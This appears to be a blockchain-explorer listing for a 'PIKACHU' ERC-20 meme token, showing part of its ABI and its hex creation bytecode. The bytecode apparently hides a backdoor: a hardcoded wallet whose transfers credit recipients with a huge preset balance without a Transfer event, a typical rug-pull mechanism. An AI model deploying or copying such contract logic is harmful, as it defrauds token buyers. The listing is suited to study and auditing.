ayable","type":"function"},{"inputs":[],"name":"swapAndLiquifyEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"uniswapV2Router","outputs":[{"internalType":"contract IUniswapV2Router02","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
608060405273627fd222e76c612b03f66909f92ee7edcd9e353f600460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506040518061020001604052806101de8152602001620038b76101de91396005908162000086919062000897565b506040518060400160405280600781526020017f50494b414348550000000000000000000000000000000000000000000000000081525060069081620000cd919062000897565b506012600760006101000a81548160ff021916908360ff16021790555069d3c21bcecceda10000006008556000600960006101000a81548160ff021916908360ff1602179055506001600960016101000a81548160ff021916908360ff1602179055506000600a556002600b556002600c55600a54600d55600b54600e55600c54600f556001601360156101000a81548160ff0219169083151502179055506001601360166101000a81548160ff0219169083151502179055503480156200019457600080fd5b5060405162003a9538038062003a958339818101604052810190620001ba9190620009b4565b620001da620001ce6200052860201b60201c565b6200053060201b60201c565b60085460016000620001f1620005f460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000737a250d5630b4cf539739df2c5dacb4c659f2488d9050816010819055506040518060200160405280600115151515815250600060018110620002795762000278620009e6565b5b602002015180620002b557506040518060200160405280600015151515815250600060018110620002af57620002ae620009e6565b5b60200201515b60116000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060016003600062000384620005f460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160036000600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550620004b7620005f460201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60085460405162000518919062000a26565b60405180910390a3505062000a43565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200069f57607f821691505b602082108103620006b557620006b462000657565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b6000600883026200071f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620006e0565b6200072b8683620006e0565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000778620007726200076c8462000743565b6200074d565b62000743565b9050919050565b6000819050919050565b620007948362000757565b620007ac620007a3826200077f565b848454620006ed565b825550505050565b600090565b620007c3620007b4565b620007d081848462000789565b505050565b5b81811015620007f857620007ec600082620007b9565b600181019050620007d6565b5050565b601f82111562000847576200081181620006bb565b6200081c84620006d0565b810160208510156200082c578190505b620008446200083b85620006d0565b830182620007d5565b50505b505050565b600082821c905092915050565b60006200086c600019846008026200084c565b1980831691505092915050565b600062000887838362000859565b9150826002028217905092915050565b620008a2826200061d565b67ffffffffffffffff811115620008be57620008bd62000628565b5b620008ca825462000686565b620008d7828285620007fc565b600060209050601f8311600181146200090f5760008415620008fa578287015190505b62000906858262000879565b86555062000976565b601f1984166200091f86620006bb565b60005b82811015620009495784890151825560018201915060208501945060208101905062000922565b8683101562000969578489015162000965601f89168262000859565b8355505b6001600288020188555050505b505050505050565b600080fd5b6200098e8162000743565b81146200099a57600080fd5b50565b600081519050620009ae8162000983565b92915050565b600060208284031215620009cd57620009cc6200097e565b5b6000620009dd848285016200099d565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b62000a208162000743565b82525050565b600060208201905062000a3d600083018462000a15565b92915050565b612e648062000a536000396000f3fe6080604052600436106101a05760003560e01c8063590f897e116100ec578063a457c2d71161008a578063c9567bf911610064578063c9567bf9146105ed578063dd62ed3e14610604578063f2fde38b14610641578063f7739b5f1461066a576101a7565b8063a457c2d71461054a578063a514a07d14610587578063a9059cbb146105b0576101a7565b8063768dc710116100c6578063768dc7101461048e5780637caefa89146104cb5780638da5cb5b146104f457806395d89b411461051f576101a7565b8063590f897e1461040f57806370a082311461043a578063715018a614610477576101a7565b806323b872dd1161015957806340b9a54b1161013357806340b9a54b1461036557806349bd5a5e146103905780634a74bb02146103bb5780634ca4a336146103e6576101a7565b806323b872dd146102c0578063313ce567146102fd5780633950935114610328576101a7565b806306fdde03146101ac578063095ea7b3146101d757806313fad07a146102145780631694505e1461023f57806318160ddd1461026a578063220f669614610295576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c1610693565b6040516101ce9190612226565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f991906122e1565b610725565b60405161020b919061233c565b60405180910390f35b34801561022057600080fd5b50610229610743565b604051610236919061233c565b60405180910390f35b34801561024b57600080fd5b50610254610756565b60405161026191906123b6565b60405180910390f35b34801561027657600080fd5b5061027f61077c565b60405161028c91906123e0565b60405180910390f35b3480156102a157600080fd5b506102aa610786565b6040516102b7919061233c565b60405180910390f35b3480156102cc57600080fd5b506102e760048036038101906102e291906123fb565b610799565b6040516102f4919061233c565b60405180910390f35b34801561030957600080fd5b50610312610872565b60405161031f919061246a565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a91906122e1565b610889565b60405161035c919061233c565b60405180910390f35b34801561037157600080fd5b5061037a61093c565b60405161038791906123e0565b60405180910390f35b34801561039c57600080fd5b506103a5610942565b6040516103b29190612494565b60405180910390f35b3480156103c757600080fd5b506103d0610968565b6040516103dd919061233c565b60405180910390f35b3480156103f257600080fd5b5061040d600480360381019061040891906124af565b61097b565b005b34801561041b57600080fd5b50610424610a0a565b60405161043191906123e0565b60405180910390f35b34801561044657600080fd5b50610461600480360381019061045c91906124dc565b610a10565b60405161046e91906123e0565b60405180910390f35b34801561048357600080fd5b5061048c610a59565b005b34801561049a57600080fd5b506104b560048036038101906104b091906124dc565b610a6d565b6040516104c2919061233c565b60405180910390f35b3480156104d757600080fd5b506104f260048036038101906104ed9190612535565b610a8d565b005b34801561050057600080fd5b50610509610ab3565b6040516105169190612494565b60405180910390f35b34801561052b57600080fd5b50610534610adc565b6040516105419190612226565b60405180910390f35b34801561055657600080fd5b50610571600480360381019061056c91906122e1565b610b6e565b60405161057e919061233c565b60405180910390f35b34801561059357600080fd5b506105ae60048036038101906105a9919061258e565b610c3b565b005b3480156105bc57600080fd5b506105d760048036038101906105d291906122e1565b610c60565b6040516105e4919061233c565b60405180910390f35b3480156105f957600080fd5b50610602610c7e565b005b34801561061057600080fd5b5061062b600480360381019061062691906125bb565b611051565b60405161063891906123e0565b60405180910390f35b34801561064d57600080fd5b50610668600480360381019061066391906124dc565b6110d8565b005b34801561067657600080fd5b50610691600480360381019061068c919061258e565b61115b565b005b6060600580546106a29061262a565b80601f01602080910402602001604051908101604052809291908181526020018280546106ce9061262a565b801561071b5780601f106106f05761010080835404028352916020019161071b565b820191906000526020600020905b8154815290600101906020018083116106fe57829003601f168201915b5050505050905090565b60006107396107326111b7565b84846111bf565b6001905092915050565b601360169054906101000a900460ff1681565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600854905090565b601360149054906101000a900460ff1681565b60006107a6848484611353565b610867846107b26111b7565b61086285604051806060016040528060288152602001612de260289139600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006108186111b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178b9092919063ffffffff16565b6111bf565b600190509392505050565b6000600760009054906101000a900460ff16905090565b60006109326108966111b7565b8461092d85600260006108a76111b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e090919063ffffffff16565b6111bf565b6001905092915050565b600b5481565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601360159054906101000a900460ff1681565b6109836117f6565b601360149054906101000a900460ff16156109d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ca906126a7565b60405180910390fd5b60006109de30610a10565b90506000606483836109f091906126f6565b6109fa9190612767565b9050610a0581611874565b505050565b600c5481565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a616117f6565b610a6b60006118e8565b565b60036020528060005260406000206000915054906101000a900460ff1681565b610a956117f6565b80600960016101000a81548160ff021916908360ff16021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060068054610aeb9061262a565b80601f0160208091040260200160405190810160405280929190818152602001828054610b179061262a565b8015610b645780601f10610b3957610100808354040283529160200191610b64565b820191906000526020600020905b815481529060010190602001808311610b4757829003601f168201915b5050505050905090565b6000610c31610b7b6111b7565b84610c2c85604051806060016040528060258152602001612e0a6025913960026000610ba56111b7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461178b9092919063ffffffff16565b6111bf565b6001905092915050565b610c436117f6565b80601360166101000a81548160ff02191690831515021790555050565b6000610c74610c6d6111b7565b8484611353565b6001905092915050565b610c866117f6565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d90508073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610cea573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d0e91906127ad565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d75573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d9991906127ad565b6040518363ffffffff1660e01b8152600401610db69291906127da565b6020604051808303816000875af1158015610dd5573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610df991906127ad565b601360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610eaf30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610eaa30610a10565b6111bf565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ef830610a10565b600080610f03610ab3565b426040518863ffffffff1660e01b8152600401610f259695949392919061283e565b60606040518083038185885af1158015610f43573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f6891906128b4565b505050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161100a929190612907565b6020604051808303816000875af1158015611029573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061104d9190612945565b5050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6110e06117f6565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361114f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611146906129e4565b60405180910390fd5b611158816118e8565b50565b6111636117f6565b80601360156101000a81548160ff0219169083151502179055507f53726dfcaf90650aa7eb35524f4d3220f07413c8d6cb404cc8c18bf5591bc159816040516111ac919061233c565b60405180910390a150565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156112295750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611268576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125f90612a50565b60405180910390fd5b80600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161134691906123e0565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156113bd5750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6113fc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113f390612abc565b60405180910390fd5b6000811161143f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143690612b4e565b60405180910390fd5b600960019054906101000a900460ff1660ff16600960009054906101000a900460ff1660ff16101580156114805750601360149054906101000a900460ff16155b80156114da5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114f25750601360159054906101000a900460ff165b15611535576000600960006101000a81548160ff021916908360ff160217905550600061151e30610a10565b905060008111156115335761153281611874565b5b505b600060019050600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115dc5750600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806116a75750601360169054906101000a900460ff16801561164c5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156116a65750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b5b156116b55760009050611779565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361171857600b54600a81905550611778565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361177757600c54600a819055505b5b5b611785848484846119ac565b50505050565b60008383111582906117d3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117ca9190612226565b60405180910390fd5b5082840390509392505050565b600081836117ee9190612b6e565b905092915050565b6117fe6111b7565b73ffffffffffffffffffffffffffffffffffffffff1661181c610ab3565b73ffffffffffffffffffffffffffffffffffffffff1614611872576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161186990612bee565b60405180910390fd5b565b6001601360146101000a81548160ff02191690831515021790555061189881611a16565b60004790506118c9600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682611c59565b506000601360146101000a81548160ff02191690831515021790555050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b806119be576119b9611ca4565b6119f7565b6009600081819054906101000a900460ff16809291906119dd90612c0e565b91906101000a81548160ff021916908360ff160217905550505b611a02848484611d00565b80611a1057611a0f61211e565b5b50505050565b6000600267ffffffffffffffff811115611a3357611a32612c37565b5b604051908082528060200260200182016040528015611a615781602001602082028036833780820191505090505b5090503081600081518110611a7957611a78612c66565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611b20573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b4491906127ad565b81600181518110611b5857611b57612c66565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611bbf30601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846111bf565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401611c23959493929190612d53565b600060405180830381600087803b158015611c3d57600080fd5b505af1158015611c51573d6000803e3d6000fd5b505050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611c9f573d6000803e3d6000fd5b505050565b6000600a54148015611cb857506000600b54145b8015611cc657506000600c54145b611cfe57600b54600e81905550600c54600f81905550600a54600d819055506000600b819055506000600c819055506000600a819055505b565b6000601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611d5a576000611d5e565b6010545b9050601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615611ee157611e0482600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213b90919063ffffffff16565b600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611e9981600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e090919063ffffffff16565b600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612118565b600080611eed84612151565b91509150611f4384600160008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461213b90919063ffffffff16565b600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611fd882600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e090919063ffffffff16565b600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061206d81600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117e090919063ffffffff16565b600160003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161210d91906123e0565b60405180910390a350505b50505050565b600d54600a81905550600e54600b81905550600f54600c81905550565b600081836121499190612dad565b905092915050565b60008060006064600a548561216691906126f6565b6121709190612767565b90506000612187828661213b90919063ffffffff16565b90508082935093505050915091565b600081519050919050565b600082825260208201905092915050565b60005b838110156121d05780820151818401526020810190506121b5565b60008484015250505050565b6000601f19601f8301169050919050565b60006121f882612196565b61220281856121a1565b93506122128185602086016121b2565b61221b816121dc565b840191505092915050565b6000602082019050818103600083015261224081846121ed565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006122788261224d565b9050919050565b6122888161226d565b811461229357600080fd5b50565b6000813590506122a58161227f565b92915050565b6000819050919050565b6122be816122ab565b81146122c957600080fd5b50565b6000813590506122db816122b5565b92915050565b600080604083850312156122f8576122f7612248565b5b600061230685828601612296565b9250506020612317858286016122cc565b9150509250929050565b60008115159050919050565b61233681612321565b82525050565b6000602082019050612351600083018461232d565b92915050565b6000819050919050565b600061237c6123776123728461224d565b612357565b61224d565b9050919050565b600061238e82612361565b9050919050565b60006123a082612383565b9050919050565b6123b081612395565b82525050565b60006020820190506123cb60008301846123a7565b92915050565b6123da816122ab565b82525050565b60006020820190506123f560008301846123d1565b92915050565b60008060006060848603121561241457612413612248565b5b600061242286828701612296565b935050602061243386828701612296565b9250506040612444868287016122cc565b9150509250925092565b600060ff82169050919050565b6124648161244e565b82525050565b600060208201905061247f600083018461245b565b92915050565b61248e8161226d565b82525050565b60006020820190506124a96000830184612485565b92915050565b6000602082840312156124c5576124c4612248565b5b60006124d3848285016122cc565b91505092915050565b6000602082840312156124f2576124f1612248565b5b600061250084828501612296565b91505092915050565b6125128161244e565b811461251d57600080fd5b50565b60008135905061252f81612509565b92915050565b60006020828403121561254b5761254a612248565b5b600061255984828501612520565b91505092915050565b61256b81612321565b811461257657600080fd5b50565b60008135905061258881612562565b92915050565b6000602082840312156125a4576125a3612248565b5b60006125b284828501612579565b91505092915050565b600080604083850312156125d2576125d1612248565b5b60006125e085828601612296565b92505060206125f185828601612296565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061264257607f821691505b602082108103612655576126546125fb565b5b50919050565b7f43757272656e746c792070726f63657373696e672c20747279206c617465722e600082015250565b60006126916020836121a1565b915061269c8261265b565b602082019050919050565b600060208201905081810360008301526126c081612684565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612701826122ab565b915061270c836122ab565b925082820261271a816122ab565b91508282048414831517612731576127306126c7565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612772826122ab565b915061277d836122ab565b92508261278d5761278c612738565b5b828204905092915050565b6000815190506127a78161227f565b92915050565b6000602082840312156127c3576127c2612248565b5b60006127d184828501612798565b91505092915050565b60006040820190506127ef6000830185612485565b6127fc6020830184612485565b9392505050565b6000819050919050565b600061282861282361281e84612803565b612357565b6122ab565b9050919050565b6128388161280d565b82525050565b600060c0820190506128536000830189612485565b61286060208301886123d1565b61286d604083018761282f565b61287a606083018661282f565b6128876080830185612485565b61289460a08301846123d1565b979650505050505050565b6000815190506128ae816122b5565b92915050565b6000806000606084860312156128cd576128cc612248565b5b60006128db8682870161289f565b93505060206128ec8682870161289f565b92505060406128fd8682870161289f565b9150509250925092565b600060408201905061291c6000830185612485565b61292960208301846123d1565b9392505050565b60008151905061293f81612562565b92915050565b60006020828403121561295b5761295a612248565b5b600061296984828501612930565b91505092915050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006129ce6026836121a1565b91506129d982612972565b604082019050919050565b600060208201905081810360008301526129fd816129c1565b9050919050565b7f4552523a207a65726f2061646472657373000000000000000000000000000000600082015250565b6000612a3a6011836121a1565b9150612a4582612a04565b602082019050919050565b60006020820190508181036000830152612a6981612a2d565b9050919050565b7f4552523a205573696e6720302061646472657373210000000000000000000000600082015250565b6000612aa66015836121a1565b9150612ab182612a70565b602082019050919050565b60006020820190508181036000830152612ad581612a99565b9050919050565b7f546f6b656e2076616c7565206d75737420626520686967686572207468616e2060008201527f7a65726f2e000000000000000000000000000000000000000000000000000000602082015250565b6000612b386025836121a1565b9150612b4382612adc565b604082019050919050565b60006020820190508181036000830152612b6781612b2b565b9050919050565b6000612b79826122ab565b9150612b84836122ab565b9250828201905080821115612b9c57612b9b6126c7565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000612bd86020836121a1565b9150612be382612ba2565b602082019050919050565b60006020820190508181036000830152612c0781612bcb565b9050919050565b6000612c198261244e565b915060ff8203612c2c57612c2b6126c7565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b612cca8161226d565b82525050565b6000612cdc8383612cc1565b60208301905092915050565b6000602082019050919050565b6000612d0082612c95565b612d0a8185612ca0565b9350612d1583612cb1565b8060005b83811015612d46578151612d2d8882612cd0565b9750612d3883612ce8565b925050600181019050612d19565b5085935050505092915050565b600060a082019050612d6860008301886123d1565b612d75602083018761282f565b8181036040830152612d878186612cf5565b9050612d966060830185612485565b612da360808301846123d1565b9695505050505050565b6000612db8826122ab565b9150612dc3836122ab565b9250828203905081811115612ddb57612dda6126c7565b5b9291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa26469706673582212201ba7f05d0b9575c43e2ab623fd4d940f9c52eae9116d6a920012ac562d40845c64736f6c63430008130033f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa80af09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa80af09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa80af09f9fa8e2ac9be2ac9cf09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8e2ac9be2ac9cf09f9fa80af09f9fa8e2ac9be2ac9bf09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8e2ac9be2ac9bf09f9fa80af09f9fa8e2ac9be2ac9bf09f9fa8f09f9fa8e2ac9bf09f9fa8f09f9fa8e2ac9be2ac9bf09f9fa80af09f9fa5f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa50af09f9fa5f09f9fa5f09f9fa8f09f9fa8f09f9fa8e2ac9bf09f9fa8f09f9fa8f09f9fa8f09f9fa5f09f9fa50af09f9fa5f09f9fa5f09f9fa8f09f9fa8e2ac9bf09f9fa8e2ac9bf09f9fa8f09f9fa8f09f9fa5f09f9fa50af09f9fa5f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa50af09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa8f09f9fa800000000000000000000000000000002f050fe938943acc45f65568000000000
Deployed Bytecode
